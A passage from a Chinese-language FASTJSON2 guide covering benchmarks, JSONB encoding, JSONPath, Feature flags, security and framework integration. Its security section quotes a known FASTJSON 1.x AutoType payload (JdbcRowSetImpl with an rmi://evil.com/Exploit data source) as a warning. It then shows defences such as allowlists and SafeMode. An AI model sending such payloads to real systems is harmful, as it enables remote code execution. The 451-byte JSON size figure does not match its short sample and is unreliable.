倍</li></ul><p>场景 4：JSONB 数组映射（EishayParseBinaryArrayMapping）<br>┌─────────────────┬────────┬────────────┬───────┐<br>│       库        │ JDK 17 │ GraalVM 17 │ 提升  │<br>├─────────────────┼────────┼────────────┼───────┤<br>│ FASTJSON2 JSONB │ 11424  │ 15614      │ 36.7% │<br>├─────────────────┼────────┼────────────┼───────┤<br>│ Kryo            │ 3355   │ 4264       │ 27.1% │<br>├─────────────────┼────────┼────────────┼───────┤<br>│ Protobuf        │ 3598   │ 6173       │ 71.6% │<br>└─────────────────┴────────┴────────────┴───────┘<br>结论：</p><ul><li>JSONB 数组映射是最快的序列化方式</li><li>相比 Kryo 快 3.4 倍</li><li>相比 Protobuf 快 3.2 倍</li><li>GraalVM 环境下性能提升 36.7%</li></ul><p>4.3 序列化性能对比</p><p>场景 5：序列化对象（EishayWriteString）<br>┌───────────┬────────┬────────┐<br>│    库     │ JDK 17 │ 性能比 │<br>├───────────┼────────┼────────┤<br>│ FASTJSON2 │ 5236   │ 100%   │<br>├───────────┼────────┼────────┤<br>│ FASTJSON1 │ 2649   │ 51%    │<br>├───────────┼────────┼────────┤<br>│ Jackson   │ 1665   │ 32%    │<br>├───────────┼────────┼────────┤<br>│ Gson      │ 1163   │ 22%    │<br>└───────────┴────────┴────────┘<br>结论：</p><ul><li>FASTJSON2 相比 1.x 提升 97.6%</li><li>相比 Jackson 快 3.1 倍</li><li>相比 Gson 快 4.5 倍</li></ul><p>4.4 性能优化建议</p><p>根据基准测试结果，推荐以下优化策略：</p><p>// 1. 使用 byte[] 而非 String（提升 ~5%）<br>byte[] bytes = json.getBytes(StandardCharsets.UTF_8);<br>User user = JSON.parseObject(bytes, User.class);</p><p>// 2. 使用 JSONB 格式（提升 ~77%）<br>byte[] jsonb = JSONB.toBytes(user);<br>User user2 = JSONB.parseObject(jsonb, User.class);</p><p>// 3. 使用 BeanToArray 减少体积（提升 ~30%）<br>String compact = JSON.toJSONString(user, JSONWriter.Feature.BeanToArray);</p><p>// 4. 缓存 JSONPath 对象（提升 ~50%）<br>private static final JSONPath PATH = JSONPath.of(“$.user.id”);<br>Object id = PATH.extract(JSONReader.of(json));</p><p>// 5. 使用 GraalVM（提升 ~8-37%）<br>// 直接使用 GraalVM JDK 运行应用</p><hr><ol start="5"><li>JSONB 二进制格式详解</li></ol><p>5.1 设计目标</p><p>JSONB 是 FASTJSON2 的创新特性，专为高性能场景设计：</p><ol><li>完全对应 JSON 格式（无损转换）</li><li>数据紧凑无空洞（节省空间）</li><li>常用整数 -16~63 紧凑设计（1 字节）</li><li>null/true/false 紧凑设计（1 字节）</li><li>0~15 长度数组紧凑设计</li><li>0~47 长度 ASCII 字符串紧凑设计</li><li>对象字段名短编码支持（Symbol）</li><li>支持完整 Java 序列化</li></ol><p>5.2 编码格式详解</p><p>数值编码</p><p>INT32 编码：<br>┌──────────────────┬────────┬───────────────────────┬───────────────────────┐<br>│     取值范围     │ 字节数 │       编码格式        │         示例          │<br>├──────────────────┼────────┼───────────────────────┼───────────────────────┤<br>│ -16 ~ 47         │ 1      │ 0xf0 ~ 0x2f           │ 0 → 0x00              │<br>├──────────────────┼────────┼───────────────────────┼───────────────────────┤<br>│ -2048 ~ 2047     │ 2      │ 0x30 ~ 0x3f + 1 byte  │ 100 → 0x30 0x64       │<br>├──────────────────┼────────┼───────────────────────┼───────────────────────┤<br>│ -262144 ~ 262143 │ 3      │ 0x40 ~ 0x47 + 2 bytes │ 1000 → 0x40 0x03 0xe8 │<br>├──────────────────┼────────┼───────────────────────┼───────────────────────┤<br>│ 完整 INT32       │ 5      │ 0x48 + 4 bytes        │ 1000000 → 0x48 …    │<br>└──────────────────┴────────┴───────────────────────┴───────────────────────┘<br>INT64 编码：<br>┌──────────────────┬────────┬───────────────────────┐<br>│     取值范围     │ 字节数 │       编码格式        │<br>├──────────────────┼────────┼───────────────────────┤<br>│ -8 ~ 15          │ 1      │ 0xd8 ~ 0xef           │<br>├──────────────────┼────────┼───────────────────────┤<br>│ -2048 ~ 2047     │ 2      │ 0xc8 ~ 0xd7 + 1 byte  │<br>├──────────────────┼────────┼───────────────────────┤<br>│ -262144 ~ 262143 │ 3      │ 0xc0 ~ 0xc7 + 2 bytes │<br>├──────────────────┼────────┼───────────────────────┤<br>│ INT32 范围       │ 5      │ 0xbf + 4 bytes        │<br>├──────────────────┼────────┼───────────────────────┤<br>│ 完整 INT64       │ 9      │ 0xbe + 8 bytes        │<br>└──────────────────┴────────┴───────────────────────┘<br>DOUBLE 编码：<br>┌─────────────┬────────┬────────────────┐<br>│     值      │ 字节数 │    编码格式    │<br>├─────────────┼────────┼────────────────┤<br>│ 0.0         │ 1      │ 0xb2           │<br>├─────────────┼────────┼────────────────┤<br>│ 1.0         │ 1      │ 0xb3           │<br>├─────────────┼────────┼────────────────┤<br>│ 整数 double │ 2-10   │ 0xb4 + int64   │<br>├─────────────┼────────┼────────────────┤<br>│ 完整 double │ 9      │ 0xb5 + 8 bytes │<br>└─────────────┴────────┴────────────────┘<br>字符串编码</p><p>0x49 ~ 0x78  → 长度 0-47 的 ASCII 字符串（1 + N 字节）<br>0x79         → LATIN1 字符串（1 + len + N 字节）<br>0x7a         → UTF-8 字符串（1 + len + N 字节）<br>0x7b         → UTF-16 字符串（1 + len + N 字节）<br>0x7e         → GB18030 字符串（优化中文）<br>0x7f         → Symbol 引用（1 + 4 字节）</p><p>特殊值编码</p><p>0xaf  → NULL   (1 字节)<br>0xb0  → FALSE  (1 字节)<br>0xb1  → TRUE   (1 字节)</p><p>日期编码</p><p>0xae  → Instant (3-15 字节)<br>0xad  → Date (分钟精度, 5 字节)<br>0xac  → Date (秒精度, 5 字节)<br>0xab  → Date (毫秒精度, 9 字节)<br>0xa9  → LocalDate (5 字节)<br>0xa8  → LocalDateTime (8-12 字节)<br>0xa7  → LocalTime (4-8 字节)</p><p>5.3 空间对比</p><p>示例 JSON：<br>{<br>“id”: 123,<br>“name”: “fastjson2”,<br>“active”: true,<br>“score”: 98.5,<br>“tags”: [“java”, “json”, “performance”]<br>}</p><p>大小对比：<br>┌────────────────┬────────────┬───────┐<br>│      格式      │    大小    │ 节省  │<br>├────────────────┼────────────┼───────┤<br>│ JSON           │ 451 字节   │ -     │<br>├────────────────┼────────────┼───────┤<br>│ JSONB          │ 348 字节   │ 23%   │<br>├────────────────┼────────────┼───────┤<br>│ Hessian        │ 644 字节   │ -43%  │<br>├────────────────┼────────────┼───────┤<br>│ Fury           │ 670 字节   │ -49%  │<br>├────────────────┼────────────┼───────┤<br>│ Java Serialize │ 1200+ 字节 │ -166% │<br>└────────────────┴────────────┴───────┘<br>5.4 使用示例</p><p>// 1. 序列化为 JSONB<br>User user = new User(1, “John”, 25);<br>byte[] jsonb = JSONB.toBytes(user);</p><p>// 2. 反序列化 JSONB<br>User user2 = JSONB.parseObject(jsonb, User.class);</p><p>// 3. 使用 BeanToArray 进一步压缩<br>byte[] compact = JSONB.toBytes(user, JSONWriter.Feature.BeanToArray);<br>// 输出：[1,“John”,25] 而非 {“id”:1,“name”:“John”,“age”:25}</p><p>// 4. 反序列化数组映射<br>User user3 = JSONB.parseObject(compact, User.class,<br>JSONReader.Feature.SupportArrayToBean);</p><p>// 5. JSONB 与 JSON 互转<br>String json = JSONB.toJSONString(jsonb);<br>byte[] jsonb2 = JSONB.parseBytes(json);</p><p>5.5 适用场景</p><p>✅ 推荐使用 JSONB：</p><ul><li>微服务间通信（节省带宽）</li><li>缓存存储（Redis、Memcached）</li><li>消息队列（Kafka、RocketMQ）</li><li>大数据传输（日志、监控数据）</li><li>移动端通信（节省流量）</li></ul><p>❌ 不推荐使用 JSONB：</p><ul><li>需要人工可读的场景</li><li>与非 Java 系统交互</li><li>需要跨语言支持</li><li>调试和排查问题时</li></ul><hr><ol start="6"><li>JSONPath 高级用法</li></ol><p>6.1 基础语法</p><p>// 1. 根节点<br>$.store</p><p>// 2. 子节点<br>$.store.book</p><p>// 3. 数组索引<br>$.store.book[0]</p><p>// 4. 数组切片<br>$.store.book[0:2]</p><p>// 5. 所有子节点<br>$.store.book[*]</p><p>// 6. 递归查找<br>$…author</p><p>// 7. 过滤表达式<br>$.store.book[?(@.price &lt; 10)]</p><p>// 8. 多路径<br>$.store.book[0,2,4]</p><p>6.2 部分解析（核心优势）</p><p>传统方式需要解析整个 JSON：</p><p>// 传统方式：解析整个 JSON（浪费）<br>String json = “{&quot;user&quot;:{&quot;id&quot;:123,&quot;name&quot;:&quot;John&quot;,&quot;profile&quot;:{…大量数据…}}}”;<br>JSONObject obj = JSON.parseObject(json);  // 解析全部<br>int id = obj.getJSONObject(“user”).getIntValue(“id”);  // 只用了 id</p><p>FASTJSON2 方式只解析需要的字段：</p><p>// FASTJSON2 方式：只解析需要的字段（高效）<br>JSONPath path = JSONPath.of(“$.user.id”);  // 缓存复用<br>JSONReader reader = JSONReader.of(json);<br>Object id = path.extract(reader);  // 只读取 id，跳过其他字段</p><p>性能对比：<br>JSON 大小：1MB<br>传统方式：100ms（解析全部）<br>部分解析：20ms（只解析需要的）<br>性能提升：5 倍</p><p>6.3 高级功能</p><p>过滤表达式</p><p>// 查找价格小于 10 的书<br>String json = “”&quot;<br>{<br>“store”: {<br>“book”: [<br>{“title”: “Book1”, “price”: 8.95},<br>{“title”: “Book2”, “price”: 12.99},<br>{“title”: “Book3”, “price”: 8.99}<br>]<br>}<br>}<br>“”&quot;;</p><p>JSONPath path = JSONPath.of(“$.store.book[?(@.price &lt; 10)]”);<br>List<Object> books = (List<Object>) path.eval(json);<br>// 返回：[{“title”:“Book1”,“price”:8.95}, {“title”:“Book3”,“price”:8.99}]</p><p>函数调用</p><p>// 获取数组长度<br>JSONPath.of(“$.store.book.length()”).eval(json);  // 返回：3</p><p>// 获取最小值<br>JSONPath.of(“$.store.book.min(price)”).eval(json);  // 返回：8.95</p><p>// 获取最大值<br>JSONPath.of(“$.store.book.max(price)”).eval(json);  // 返回：12.99</p><p>// 求和<br>JSONPath.of(“$.store.book.sum(price)”).eval(json);  // 返回：30.93</p><p>类型化查询</p><p>// 直接返回指定类型<br>User user = JSONPath.of(“$.user”).extract(json, User.class);</p><p>// 返回 List<br>List<Book> books = JSONPath.of(“$.store.book”)<br>.extract(json, new TypeReference&lt;List<Book>&gt;(){});</p><p>多路径查询</p><p>// 查询多个路径<br>JSONPath path = JSONPath.of(“$.user.id”, “$.user.name”);<br>Map&lt;String, Object&gt; result = path.extract(json);<br>// 返回：{“$.user.id”: 123, “$.user.name”: “John”}</p><p>6.4 性能优化技巧</p><p>// ✓ 缓存 JSONPath 对象（性能提升 50%+）<br>private static final JSONPath USER_ID_PATH = JSONPath.of(“$.user.id”);</p><p>public int getUserId(String json) {<br>return (int) USER_ID_PATH.eval(json);<br>}</p><p>// ✗ 不要每次都创建（性能差）<br>public int getUserId(String json) {<br>return (int) JSONPath.of(“$.user.id”).eval(json);  // 每次都编译<br>}</p><p>// ✓ 使用 extract 而非 eval（更快）<br>JSONReader reader = JSONReader.of(json);<br>Object id = path.extract(reader);  // 流式解析</p><p>// ✓ 在 JSONB 上使用 JSONPath（最快）<br>byte[] jsonb = JSONB.toBytes(user);<br>JSONReader reader = JSONReader.ofJSONB(jsonb);<br>Object id = path.extract(reader);  // JSONB + JSONPath = 极致性能</p><ol start="7"><li>Feature 系统完全指南</li></ol><p>7.1 JSONReader.Feature（反序列化配置）</p><p>安全性 Feature</p><p>// FieldBased - 基于字段反序列化（更安全）<br>// 只反序列化声明的字段，忽略 getter/setter<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.FieldBased);</p><p>// SupportAutoType - 支持自动类型（默认关闭，需显式打开）<br>Object obj = JSON.parseObject(json, Object.class,<br>JSONReader.Feature.SupportAutoType);</p><p>// UseDefaultConstructorAsPossible - 尽可能使用默认构造函数<br>// 避免使用 Unsafe.allocateInstance<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.UseDefaultConstructorAsPossible);</p><p>智能匹配 Feature</p><p>// SupportSmartMatch - 智能识别 5 种命名规范<br>// 支持：camelCase, PascalCase, snake_case, kebab-case, UPPER_CASE<br>String json = “{&quot;user_name&quot;:&quot;John&quot;, &quot;user-age&quot;:25}”;<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.SupportSmartMatch);<br>// 自动映射到 userName 和 userAge 字段</p><p>数据处理 Feature</p><p>// UseBigDecimalForDoubles - 使用 BigDecimal 处理小数（精确计算）<br>Product product = JSON.parseObject(json, Product.class,<br>JSONReader.Feature.UseBigDecimalForDoubles);</p><p>// SupportArrayToBean - 数组映射到对象<br>String json = “[1,&quot;John&quot;,25]”;<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.SupportArrayToBean);<br>// 按字段顺序映射：id=1, name=“John”, age=25</p><p>// InitStringFieldAsEmpty - 初始化 String 字段为空字符串<br>User user = JSON.parseObject(“{}”, User.class,<br>JSONReader.Feature.InitStringFieldAsEmpty);<br>// <a href="http://user.name">user.name</a> = “” 而非 null</p><p>// TrimString - 对字符串值做 trim 处理<br>String json = “{&quot;name&quot;:&quot;  John  &quot;}”;<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.TrimString);<br>// <a href="http://user.name">user.name</a> = “John”</p><p>错误处理 Feature</p><p>// ErrorOnEnumNotMatch - Enum 不匹配时抛异常（默认忽略）<br>Status status = JSON.parseObject(json, Status.class,<br>JSONReader.Feature.ErrorOnEnumNotMatch);</p><p>// ErrorOnNotSupportAutoType - 遇到 AutoType 报错<br>Object obj = JSON.parseObject(json, Object.class,<br>JSONReader.Feature.ErrorOnNotSupportAutoType);</p><p>// IgnoreSetNullValue - 忽略输入为 null 的字段<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.IgnoreSetNullValue);</p><p>兼容性 Feature</p><p>// UseNativeObject - 使用 LinkedHashMap 和 ArrayList<br>// 而非 JSONObject 和 JSONArray<br>Object obj = JSON.parse(json,<br>JSONReader.Feature.UseNativeObject);</p><p>// AllowUnQuotedFieldNames - 支持不带双引号的字段名<br>String json = “{name:&quot;John&quot;, age:25}”;<br>User user = JSON.parseObject(json, User.class,<br>JSONReader.Feature.AllowUnQuotedFieldNames);</p><p>// Base64StringAsByteArray - Base64 字符串反序列化为 byte[]<br>String json = “{&quot;data&quot;:&quot;SGVsbG8=&quot;}”;<br>Data data = JSON.parseObject(json, Data.class,<br>JSONReader.Feature.Base64StringAsByteArray);</p><p>7.2 JSONWriter.Feature（序列化配置）</p><p>输出控制 Feature</p><p>// WriteNulls - 输出 null 字段<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNulls);<br>// 输出：{“id”:1,“name”:“John”,“email”:null}</p><p>// NotWriteDefaultValue - 不输出默认值<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.NotWriteDefaultValue);<br>// age=0 不输出，active=false 不输出</p><p>// WriteNullListAsEmpty - List 类型 null 输出为 []<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNullListAsEmpty);</p><p>// WriteNullStringAsEmpty - String 类型 null 输出为 “”<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNullStringAsEmpty);</p><p>// WriteNullNumberAsZero - Number 类型 null 输出为 0<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNullNumberAsZero);</p><p>// WriteNullBooleanAsFalse - Boolean 类型 null 输出为 false<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNullBooleanAsFalse);</p><p>格式化 Feature</p><p>// PrettyFormat - 格式化输出<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.PrettyFormat);<br>// 输出：<br>// {<br>//   “id”: 1,<br>//   “name”: “John”<br>// }</p><p>// UseSingleQuotes - 使用单引号<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.UseSingleQuotes);<br>// 输出：{‘id’:1,‘name’:‘John’}</p><p>// UnquoteFieldName - 不带引号输出 Key<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.UnquoteFieldName);<br>// 输出：{id:1,name:“John”}</p><p>紧凑输出 Feature</p><p>// BeanToArray - 对象序列化为数组（节省空间 30%+）<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.BeanToArray);<br>// 输出：[1,“John”,25] 而非 {“id”:1,“name”:“John”,“age”:25}</p><p>// MapSortField - Map 按 Key 排序（验签场景）<br>String json = JSON.toJSONString(map,<br>JSONWriter.Feature.MapSortField);</p><p>类型信息 Feature</p><p>// WriteClassName - 输出类型信息<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteClassName);<br>// 输出：{“@type”:“com.example.User”,“id”:1,“name”:“John”}</p><p>// NotWriteRootClassName - 不输出根对象类型信息<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteClassName,<br>JSONWriter.Feature.NotWriteRootClassName);</p><p>// NotWriteHashMapArrayListClassName - 不输出 HashMap/ArrayList 类型<br>String json = JSON.toJSONString(data,<br>JSONWriter.Feature.WriteClassName,<br>JSONWriter.Feature.NotWriteHashMapArrayListClassName);</p><p>兼容性 Feature</p><p>// BrowserCompatible - 大整数转字符串（避免 JS 精度丢失）<br>String json = JSON.toJSONString(data,<br>JSONWriter.Feature.BrowserCompatible);<br>// Long 超过 2^53 会输出为字符串</p><p>// WriteLongAsString - 所有 Long 输出为字符串<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteLongAsString);</p><p>// BrowserSecure - 浏览器安全，转义 &lt; &gt; ( )<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.BrowserSecure);</p><p>// WriteBooleanAsNumber - true 输出为 1，false 输出为 0<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteBooleanAsNumber);</p><p>Enum 处理 Feature</p><p>// WriteEnumsUsingName - 使用 name()（默认）<br>String json = JSON.toJSONString(status,<br>JSONWriter.Feature.WriteEnumsUsingName);<br>// 输出：“ACTIVE”</p><p>// WriteEnumUsingToString - 使用 toString()<br>String json = JSON.toJSONString(status,<br>JSONWriter.Feature.WriteEnumUsingToString);</p><p>// WriteEnumUsingOrdinal - 使用 ordinal()<br>String json = JSON.toJSONString(status,<br>JSONWriter.Feature.WriteEnumUsingOrdinal);<br>// 输出：0</p><p>数值处理 Feature</p><p>// WriteBigDecimalAsPlain - BigDecimal 使用 toPlainString<br>// 避免科学计数法<br>String json = JSON.toJSONString(product,<br>JSONWriter.Feature.WriteBigDecimalAsPlain);</p><p>// WriteNonStringValueAsString - 非 String 值输出为 String<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNonStringValueAsString);</p><p>7.3 Feature 组合使用</p><p>// 多个 Feature 组合<br>String json = JSON.toJSONString(user,<br>JSONWriter.Feature.WriteNulls,<br>JSONWriter.Feature.PrettyFormat,<br>JSONWriter.Feature.BrowserCompatible);</p><p>// 使用注解配置 Feature<br>@JSONType(serializeFeatures = {<br>JSONWriter.Feature.WriteNulls,<br>JSONWriter.Feature.BrowserCompatible<br>})<br>public class User {<br>@JSONField(serializeFeatures = JSONWriter.Feature.WriteLongAsString)<br>private Long id;</p><pre><code>  private String name;</code></pre><p>}</p><hr><ol start="8"><li>安全性设计与最佳实践</li></ol><p>8.1 AutoType 安全机制</p><p>FASTJSON 1.x 的问题</p><p>// FASTJSON 1.x 默认开启 AutoType，存在安全风险<br>String maliciousJson = “”&quot;<br>{<br>“@type”:“com.sun.rowset.JdbcRowSetImpl”,<br>“dataSourceName”:“rmi://evil.com/Exploit”,<br>“autoCommit”:true<br>}<br>“”&quot;;<br>// 可能导致远程代码执行（RCE）</p><p>FASTJSON 2.x 的改进</p><p>// 1. 默认关闭 AutoType<br>String json = “{&quot;@type&quot;:&quot;com.example.User&quot;,&quot;name&quot;:&quot;John&quot;}”;<br>Object obj = JSON.parseObject(json);<br>// 返回 JSONObject，忽略 @type（安全）</p><p>// 2. 需要时显式打开<br>Object obj = JSON.parseObject(json, Object.class,<br>JSONReader.Feature.SupportAutoType);  // 显式打开</p><p>// 3. 使用白名单<br>Filter autoTypeFilter = JSONReader.autoTypeFilter(<br>“com.example.User”,           // 允许的类<br>“com.example.dto.**”          // 允许的包<br>);<br>Object obj = JSON.parseObject(json, Object.class, autoTypeFilter);</p><p>// 4. SafeMode 完全禁用<br>// JVM 参数：-Dfastjson2.parser.safeMode=true<br>// 完全禁用 AutoType，即使代码中显式打开也无效</p><p>8.2 字段级安全</p><p>// FieldBased 模式 - 只反序列化声明的字段<br>@JSONType(deserializeFeatures = JSONReader.Feature.FieldBased)<br>public class User {<br>private Long id;<br>private String name;<br>// 恶意 JSON 中的额外字段会被忽略<br>}</p><p>// 使用 @JSONField 控制序列化范围<br>public class User {<br>@JSONField(serialize = false)  // 不序列化<br>private String password;</p><pre><code>  @JSONField(deserialize = false)  // 不反序列化  private String token;</code></pre><p>}</p><p>8.3 安全最佳实践</p><p>// ✓ 1. 默认不开启 AutoType<br>Object obj = JSON.parseObject(untrustedJson);  // 安全</p><p>// ✗ 2. 避免在不受信任的数据上开启 AutoType<br>Object obj = JSON.parseObject(untrustedJson, Object.class,<br>JSONReader.Feature.SupportAutoType);  // 危险！</p><p>// ✓ 3. 使用白名单<br>Filter filter = JSONReader.autoTypeFilter(“com.example.dto.**”);<br>Object obj = JSON.parseObject(json, Object.class, filter);</p><p>// ✓ 4. 使用 FieldBased 模式<br>@JSONType(deserializeFeatures = JSONReader.Feature.FieldBased)<br>public class User { … }</p><p>// ✓ 5. 敏感字段不序列化<br>public class User {<br>@JSONField(serialize = false)<br>private String password;<br>}</p><p>// ✓ 6. 生产环境开启 SafeMode<br>// -Dfastjson2.parser.safeMode=true</p><p>// ✓ 7. 输入验证<br>if (JSON.isValid(input)) {<br>User user = JSON.parseObject(input, User.class);<br>}</p><hr><ol start="9"><li>框架集成指南</li></ol><p>9.1 Spring Boot 集成</p><p>Maven 依赖</p>  <!-- Spring Boot 3.x / Spring 6.x -->  <dependency>      <groupId>com.alibaba.fastjson2</groupId>      <artifactId>fastjson2-extension-spring6</artifactId>      <version>2.0.61</version>  </dependency>  <!-- Spring Boot 2.x / Spring 5.x -->  <dependency>      <groupId>com.alibaba.fastjson2</groupId>      <artifactId>fastjson2-extension-spring5</artifactId>      <version>2.0.61</version>  </dependency><p>配置方式</p><p>// 方式 1：配置类<br>@Configuration<br>public class WebConfig implements WebMvcConfigurer {<br>@Override<br>public void configureMessageConverters(<br>List&lt;HttpMessageConverter&lt;?&gt;&gt; converters) {<br>FastJsonHttpMessageConverter converter =<br>new FastJsonHttpMessageConverter();</p><pre><code>      // 配置 Feature      FastJsonConfig config = new FastJsonConfig();      config.setWriterFeatures(          JSONWriter.Feature.PrettyFormat,          JSONWriter.Feature.WriteNulls      );      converter.setFastJsonConfig(config);      // 添加到第一位（优先级最高）      converters.add(0, converter);  &#125;</code></pre><p>}</p><p>// 方式 2：application.yml<br>spring:<br>mvc:<br>converters:<br>preferred-json-mapper: fastjson2</p><p>Controller 使用</p><p>@RestController<br>@RequestMapping(“/api/users”)<br>public class UserController {</p><pre><code>  // 自动使用 FASTJSON2 序列化/反序列化  @PostMapping  public User createUser(@RequestBody User user) &#123;      return userService.save(user);  &#125;  @GetMapping(&quot;/&#123;id&#125;&quot;)  public User getUser(@PathVariable Long id) &#123;      return userService.findById(id);  &#125;  // 使用 JSONObject  @PostMapping(&quot;/dynamic&quot;)  public JSONObject handleDynamic(@RequestBody JSONObject data) &#123;      return data;  &#125;</code></pre><p>}</p><p>9.2 Kotlin 集成</p><p>Maven 依赖</p>  <dependency>      <groupId>com.alibaba.fastjson2</groupId>      <artifactId>fastjson2-kotlin</artifactId>      <version>2.0.61</version>  </dependency>  <!-- 添加 Kotlin 反射库（数据类需要） -->  <dependency>      <groupId>org.jetbrains.kotlin</groupId>      <artifactId>kotlin-reflect</artifactId>      <version>${kotlin.version}</version>  </dependency><p>Kotlin 扩展函数</p><p>import com.alibaba.fastjson2.*</p><p>// 数据类<br>data class User(val id: Int, val name: String, val age: Int)</p><p>// 解析<br>val json = “”“{“id”:1,“name”:“John”,“age”:25}”“”<br>val user = json.parseObject<User>()  // 类型推断<br>val user2 = <a href="http://json.to">json.to</a><User>()          // 简洁写法</p><p>// 序列化<br>val text = user.toJSONString()<br>val bytes = user.toJSONByteArray()</p><p>// 数组<br>val jsonArray = “”“[{“id”:1},{“id”:2}]”“”<br>val users = jsonArray.parseArray<User>()<br>val users2 = jsonArray.toList<User>()</p><p>// JSONObject<br>val obj = json.parseObject()<br>val id = obj.getInt(“id”)<br>val name = obj.getString(“name”)</p><p>// 类型安全的访问<br>val user3 = <a href="http://obj.to">obj.to</a><User>()</p><p>9.3 Android 集成</p><p>Gradle 依赖</p><p>dependencies {<br>implementation ‘com.alibaba.fastjson2:fastjson2:2.0.61’<br>}</p><p>ProGuard 配置</p><h1>FASTJSON2</h1><p>-keep class com.alibaba.fastjson2.** { <em>; }<br>-dontwarn com.alibaba.fastjson2.</em>*</p><h1>保留实体类</h1><p>-keep class com.example.model.** { *; }</p><p>Android 使用示例</p><p>// Activity 中使用<br>public class MainActivity extends AppCompatActivity {</p><pre><code>  @Override  protected void onCreate(Bundle savedInstanceState) &#123;      super.onCreate(savedInstanceState);      // 网络请求      String json = fetchFromServer();      User user = JSON.parseObject(json, User.class);      // SharedPreferences 存储      SharedPreferences prefs = getSharedPreferences(&quot;app&quot;, MODE_PRIVATE);      prefs.edit()          .putString(&quot;user&quot;, JSON.toJSONString(user))          .apply();      // 读取      String userJson = prefs.getString(&quot;user&quot;, null);      User savedUser = JSON.parseObject(userJson, User.class);  &#125;</code></pre><p>}</p><hr><ol start="10"><li>实战代码示例</li></ol><p>10.1 基础使用</p><p>// 1. 解析 JSON 字符串<br>String json = “{&quot;id&quot;:1,&quot;name&quot;:&quot;John&quot;,&quot;age&quot;:25}”;<br>User user = JSON.parseObject(json, User.class);</p><p>// 2. 解析 byte[]<br>byte[] bytes = json.getBytes(StandardCharsets.UTF_8);<br>User user2 = JSON.parseObject(bytes, User.class);</p><p>// 3. 序列化对象<br>String text = JSON.toJSONString(user);<br>byte[] data = JSON.toJSONBytes(user);</p><p>// 4. 格式化输出<br>String pretty = JSON.toJSONString(user, JSONWriter.Feature.PrettyFormat);</p><p>// 5. 解析数组<br>String arrayJson = “[{&quot;id&quot;:1},{&quot;id&quot;:2}]”;<br>List<User> users = JSON.parseArray(arrayJson, User.class);</p><p>// 6. 使用 JSONObject<br>JSONObject obj = JSON.parseObject(json);<br>int id = obj.getIntValue(“id”);<br>String name = obj.getString(“name”);</p><p>10.2 泛型处理</p><p>// 1. 使用 TypeReference<br>String json = “{&quot;users&quot;:[{&quot;id&quot;:1},{&quot;id&quot;:2}]}”;<br>TypeReference&lt;Map&lt;String, List<User>&gt;&gt; typeRef =<br>new TypeReference&lt;Map&lt;String, List<User>&gt;&gt;() {};<br>Map&lt;String, List<User>&gt; map = JSON.parseObject(json, typeRef);</p><p>// 2. 嵌套泛型<br>TypeReference&lt;List&lt;Map&lt;String, Object&gt;&gt;&gt; typeRef2 =<br>new TypeReference&lt;List&lt;Map&lt;String, Object&gt;&gt;&gt;() {};<br>List&lt;Map&lt;String, Object&gt;&gt; list = JSON.parseObject(json, typeRef2);</p><p>// 3. 复杂泛型<br>class Response<T> {<br>private int code;<br>private String message;<br>private T data;<br>}</p><p>TypeReference&lt;Response&lt;List<User>&gt;&gt; typeRef3 =<br>new TypeReference&lt;Response&lt;List<User>&gt;&gt;() {};<br>Response&lt;List<User>&gt; response = JSON.parseObject(json, typeRef3);</p><p>10.3 日期处理</p><p>// 1. 使用注解指定格式<br>public class User {<br>@JSONField(format = “yyyy-MM-dd HH:mm:ss”)<br>private Date birthday;</p><pre><code>  @JSONField(format = &quot;iso8601&quot;)  private Date createTime;</code></pre><p>}</p><p>// 2. 全局配置日期格式<br>JSON.configWriterDateFormat(“yyyy-MM-dd HH:mm:ss”);<br>String json = JSON.toJSONString(user);</p><p>// 3. 临时指定格式<br>String json = JSON.toJSONString(user, “yyyy-MM-dd”);</p><p>// 4. 解析时指定格式<br>User user = JSON.parseObject(json, User.class, “yyyy-MM-dd”);</p><p>// 5. Java 8 日期类型<br>public class Event {<br>private LocalDate date;<br>private LocalDateTime dateTime;<br>private Instant instant;<br>// 自动支持，无需配置<br>}</p><p>10.4 过滤器使用</p><p>// 1. SimplePropertyPreFilter - 简单属性过滤<br>SimplePropertyPreFilter filter = new SimplePropertyPreFilter();<br>filter.getIncludes().add(“id”);<br>filter.getIncludes().add(“name”);<br>String json = JSON.toJSONString(user, filter);<br>// 只输出 id 和 name</p><p>// 2. 排除字段<br>SimplePropertyPreFilter filter2 = new SimplePropertyPreFilter();<br>filter2.getExcludes().add(“password”);<br>String json2 = JSON.toJSONString(user, filter2);</p><p>// 3. NameFilter - 字段名转换<br>NameFilter nameFilter = (object, name, value) -&gt; {<br>return name.toUpperCase();  // 字段名转大写<br>};<br>String json3 = JSON.toJSONString(user, nameFilter);</p><p>// 4. ValueFilter - 值转换<br>ValueFilter valueFilter = (object, name, value) -&gt; {<br>if (value instanceof String) {<br>return ((String) value).toUpperCase();<br>}<br>return value;<br>};<br>String json4 = JSON.toJSONString(user, valueFilter);</p><p>// 5. BeforeFilter - 序列化前处理<br>BeforeFilter beforeFilter = new BeforeFilter() {<br>@Override<br>public void writeBefore(Object object) {<br>if (object instanceof User) {<br>User user = (User) object;<br>// 添加额外字段<br>writeKeyValue(“timestamp”, System.currentTimeMillis());<br>}<br>}<br>};<br>String json5 = JSON.toJSONString(user, beforeFilter);</p><p>10.5 自定义序列化</p><p>// 1. 实现 ObjectWriter<br>public class UserWriter implements ObjectWriter<User> {<br>@Override<br>public void 